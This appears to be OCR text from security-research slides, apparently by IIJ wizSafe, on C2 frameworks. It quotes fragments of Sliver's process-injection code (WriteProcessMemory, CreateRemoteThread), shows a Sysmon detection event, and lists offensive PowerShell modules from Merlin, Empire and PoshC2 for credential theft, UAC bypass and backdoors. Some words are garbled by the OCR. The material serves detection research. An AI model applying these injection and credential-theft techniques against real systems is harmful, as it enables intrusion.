currentProcHandle, &lpTargetHandle, O, false, syscalls.DUPLICATE SAME_ACCESS)

<...snip...>
_, err =|linjectTask(lpTargetHandle, data, rwxPages)
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https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L135-L164

InjectTask uses CreateRemoteThread Sliver

func injectTask(processHandle windows.Handle, data []byte, rwxPages bool)
(windows.Handle, error) {

<...snip...>

err = syscalls.WriteProcessMemory(processHandle, remoteAddr, &data[0],
uintptr(uint32(dataSize)), &nLength)

<...snip...>

threadHandle, err = syscalls.CreateRemoteThread(processHandle, attr, uint32(0),
remoteAddr, 0, O, &lpThreadid)
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https://github.com/BishopFox/sliver/blob/master/implant/sliver/taskrunner/task_windows.go#L66-L132

Indicators Sliver

REEHLVERIC

D wizSafe

{4] Event Properties - Event 8, Sysmon

General Details

X

CreateRemoteThread detected:

RuleMame: -

UtcTime: 2024-01-08 23:16:58.621

SourceProcessGuid: {a7fbd%62-7fb0-05%9c-131F-000000000000}
SourceProcessid: 1000

Sourcelmage: Ch\Users\ben\Desktop' c2\sliver\sliver.exe\sliver.exe

largetProcessGuid: {a -a2ba-b3Y¢c- =

TargetProcess|d: 4332

Targetlmage: C:\Program Files\WindowsApps\Microsoft. WindowsNotepad_11.2311.33.0_x64_ 8wekyb3d8bbwe
\Motepad\Motepad.exe

MewThreadld: 9132

Parent <Si S
Process lver process
Process notepad.exe

Copyright Internet Initiative Japan Inc.
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<

D wizSafe

Wrap-up
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Wrap-up D wizSafe

o HRFLD
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Merlin PowerShell modules

Add-RemoteRegBackdoor
Configure-Victim
Create-HotKeyLNK

CredManMain

Dump
Find-ComputersWithRemoteAccessPolicies
Get-ExecutionCommand
Get-GPPPassword
Get-InjectedThread
Get-OSTokenInformation
Get-RemoteCachedCredential
Get-RemotelocalAccountHash
Get-RemoteMachineAccountHash
Get-ScheduledTaskComHandler
Invoke-ADSBackdoor
Invoke-AllChecks
Invoke-AuditGPOReport
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Invoke-DCOM
Invoke-DCOMObjectScan
Invoke-DCOMPowerPointPivot
Invoke-ExcelMacroPivot
Invoke-ExecutionCommand
Invoke-InternalMonologue
Invoke-Inveigh
Invoke-Mimikatz
Invoke-PowerThIEf
Invoke-RegisterRemoteSchema
Invoke-WMILM
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Empire PowerShell modules 1 D wizSafe
e Add-KeePassConfigTrigger e Get-BrowserData e Get-DomainOU

e Add-NetUser e Get-ChromeDump e Get-DomainObjectAcl

e Disable-SecuritySettings e Get-ClipboardContents e Get-DomainPolicyData

e Exploit-JBoss e  Get-ComputerDetails e Get-DomainSID

e Exploit-Jenkins e Get-DomainComputer e Get-DomainSite

e Fetch-Brute e Get-DomainController e Get-DomainSubnet

e Find-AllVulns e Get-DomainDFSshare e Get-DomainTrust

e  Find-DomainProcess e Get-DomainFileServer e Get-DomainTrustMapping
e Find-DomainShare e Get-DomainForeignGroupMember e  Get-DomainUser

e Find-DomainUserLocation e Get-DomainForeignUser e Get-Emailltems

e  Find-Fruit e Get-DomainGPO e Get-Forest

e Find-InterestingFile o Get- e Get-Forestbomain

e  Find-KeePassconfig DomainGPOComputerlocalGroup o  Get-FoxDump

e Find-LocalAdminAccess Mapping e Get-GPOComputer

e  Find-ProcessDLLHijack *  Get-

DomainGPOUserLocalGroupMappin
g
e Get-DomainGroup

e Get-DomainGroupMember
e Get-DomainManagedSecurityGroup

e Find-TrustedDocuments
e Get-ADIDNSPermission
e Get-ADIDNSZone

e Get-AntiVirusProduct

e Get-AppLockerConfig
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Empire PowerShell modules 2

e Get-GPPPassword

e Get-IndexedItem

e Get-KeePassconfig

e Get-KerberosServiceTicket
e Get-KeyStrokes

e Get-LAPSPasswords
e Get-NetLocalGroup
e Get-NetLoggedon

e Get-NetRDPSession
e Get-NetSession

e Get-PathAd

e Get-Proxy
e Get-RickAstley
e Get-SPN

e Get-SQLColumnSampleData

e Get-SQLInstanceDomain

e Get-SQLQuery

e Get-SQLServerInfo

e Get-SQLServerLoginDefaultPw
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Get-Schwifty
Get-Screenshot
Get-SecurityPackages
Get-SharpChromium
Get-SiteListPassword
Get-SubFolders
Get-System
Get-SystemDNSServer
Get-UACLevel
Get-USBKeyStrokes
Get-VaultCredential

Get-WMIRegCachedRDP
Connection

Get-WinUpdates
Install-SSP
Install-ServiceBinary
Invoke-ARPScan
Invoke-AllChecks
Invoke-BackdoorLNK

REEHLVERIC
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Invoke-BloodHound
Invoke-Boolang
Invoke-BypassUAC

Invoke-
BypassUACTokenManipulation

Invoke-ClearScript
Invoke-Credentiallnjection
Invoke-CredentialPhisher
Invoke-DCOM
Invoke-DeadUserBackdoor
Invoke-DisableMachineAcctChange
Invoke-DllInjection
Invoke-DomainPasswordSpray
Invoke-DowngradeAccount
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Invoke-DownloadFile
Invoke-DropboxUpload
Invoke-EgressCheck
Invoke-EnvBypass
Invoke-EternalBlue
Invoke-EventLogBackdoor
Invoke-EventVwrBypass
Invoke-ExecuteMSBuild
Invoke-FileFinder
Invoke-FodHelperBypass
Invoke-FodhelperProgIDs
Invoke-HostRecon
Invoke-InternalMonologue
Invoke-Inveigh
Invoke-InveighRelay
Invoke-IronPython
Invoke-IronPython3
Invoke-KeeThief
Invoke-Kerberoast
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Invoke-LockWorkStation
Invoke-MS16032
Invoke-MS16135
Invoke-MailSearch
Invoke-Message
Invoke-MetasploitPayload
Invoke-Mimikatz
Invoke-NTLMExtract
Invoke-NetRipper
Invoke-Nightmare
Invoke-NinjaCopy
Invoke-Ntsd
Invoke-PSInject
Invoke-Paranoia
Invoke-PhantOm
Invoke-PhishingLnk
Invoke-PortFwd
Invoke-Portscan
Invoke-PowerDump

Invoke-PrintDeamon
Invoke-PrivescCheck
Invoke-ProcessKiller
Invoke-Prompt
Invoke-PsExec
Invoke-RIDHijacking
Invoke-ReflectivePEInjection
Invoke-ResolverBackdoor
Invoke-ReverseDNSLookup
Invoke-ReverseSocksProxy
Invoke-RunAs
Invoke-SDCLTBypass
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Empire PowerShell modules 4

e Invoke-SMBAutoBrute

e Invoke-SMBExec

e Invoke-SMBLogin

e Invoke-SMBScanner

e Invoke-SQLOSCMD

e Invoke-SSHCommand

e Invoke-SSharp

e Invoke-SauronEye

e Invoke-Script

e Invoke-SearchGAL

e Invoke-SendMail

¢ Invoke-ServiceAbuse

e Invoke-SessionGopher

e Invoke-SharpChiselClient
e Invoke-SharpLoginPrompt
e Invoke-SharpSecDump

e Invoke-Shellcode

e Invoke-ShellcodeMSIL

e Invoke-SpawnAs
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Invoke-SpoolSample
Invoke-SweetPotato
Invoke-Tater
Invoke-Thunderstruck
Invoke-TokenManipulation
Invoke-VeeamGetCreds
Invoke-Vnc
Invoke-VoiceTroll
Invoke-WScriptBypassUAC
Invoke-Watson
Invoke-WdigestDowngrade
Invoke-WinEnum
Invoke-WireTap
Invoke-WIrmdr
Invoke-ZerolLogon
Invoke-ZipFolder
Invoke-sid_to_user
Invoke-winPEAS
New-GPOImmediateTask
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New-HoneyHash
Out-Minidump
Remove-KeePassConfigTrigger
Restart-Computer
Restore-ServiceBinary
Set-DomainObject
Set-MacAttribute
Set-Wallpaper
Start-MonitorTCPConnections
Start-ProcessAsUser
Start-WebcamRecorder
Test-Login

View-Email

Write-HijackDl|

powercat
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PoshC2 PowerShell modules 1

e Add-ObjectAcl

e ArpScan

e Brute-Ad

e Brute-LocAdmin

e Bypass-UAC

e ConvertTo-Shellcode
e Cred-Popper

e Decrypt-RDCMan

e  Dump-NTDS

e Find-AllVulns

e Find-DomainShare

e Get-Computerinfo

e Get-CreditCardData

e Get-DFSshare

e Get-DomainComputer
e Get-DomainGroupMember
e Get-DomainUser

e Get-GPPAutologon

e Get-GPPPassword
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Get-Hash

Get-IdleTime
Get-InjectedThread
Get-Ipconfig
Get-Keystrokes
Get-LAPSPasswords
Get-LocAdm
Get-MSHotFixes
Get-NetComputer
Get-NetDomain
Get-NetDomainController
Get-NetForest
Get-NetForestDomain
Get-NetGroup
Get-NetGroupMember
Get-NetLocalGroupMember
Get-NetShare
Get-NetUser

Get-Netstat
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Get-ObjectAcl
Get-PassNotExp
Get-PassPol
Get-RecentFiles
Get-ScreenshotAllWindows
Get-ServicePerms
Get-UserlInfo
Get-WLANPass
Get-WMIRegCachedRDPConnection
Get-WMIReglLastLoggedOn
Get-WMIRegMountedDrive
Inject-Shellcode
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PoshC2 PowerShell modules 2

e Inveigh

e Inveigh-Relay

e Invoke-ACLScanner

e Invoke-AllChecks

e Invoke-Arpscan

e Invoke-BloodHound

e Invoke-DCSync

e Invoke-DaisyChain

e Invoke-EDRChecker

e Invoke-EternalBlue

e Invoke-EventVwrBypass
e Invoke-HostEnum

e Invoke-Hostscan

e Invoke-Inveigh

e Invoke-Kerberoast

e Invoke-MS16-032

e Invoke-MapDomainTrust
e Invoke-Mimikatz

e Invoke-PSInject

e Invoke-Pbind

Copyright Internet Initiative Japan Inc.

Invoke-Pipekat
Invoke-Portscan
Invoke-PowerDump
Invoke-PsExec
Invoke-PsUACme
Invoke-ReflectivePEInjection
Invoke-ReverseDnsLookup
Invoke-Runas
Invoke-SMBClient
Invoke-SMBExec
Invoke-ShareFinder
Invoke-Shellcode
Invoke-Sniffer
Invoke-SqlQuery
Invoke-Tater
Invoke-TheHash
Invoke-TokenManipulation
Invoke-URLCheck
Invoke-UserHunter
Invoke-WMI
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Invoke-WMIChecker
Invoke-WMICommand
Invoke-WMIEvent
Invoke-WScriptBypassUAC
Invoke-WinRMSession
New-JScriptShell
New-ZipFile
Out-Minidump
Portscan
Remove-WMIEvent
Resolve-IPAddress
RunAs-NetOnly
Set-LHSTokenPrivilege
Test-ADCredential
cve-2016-9192
invoke-smblogin
powercat
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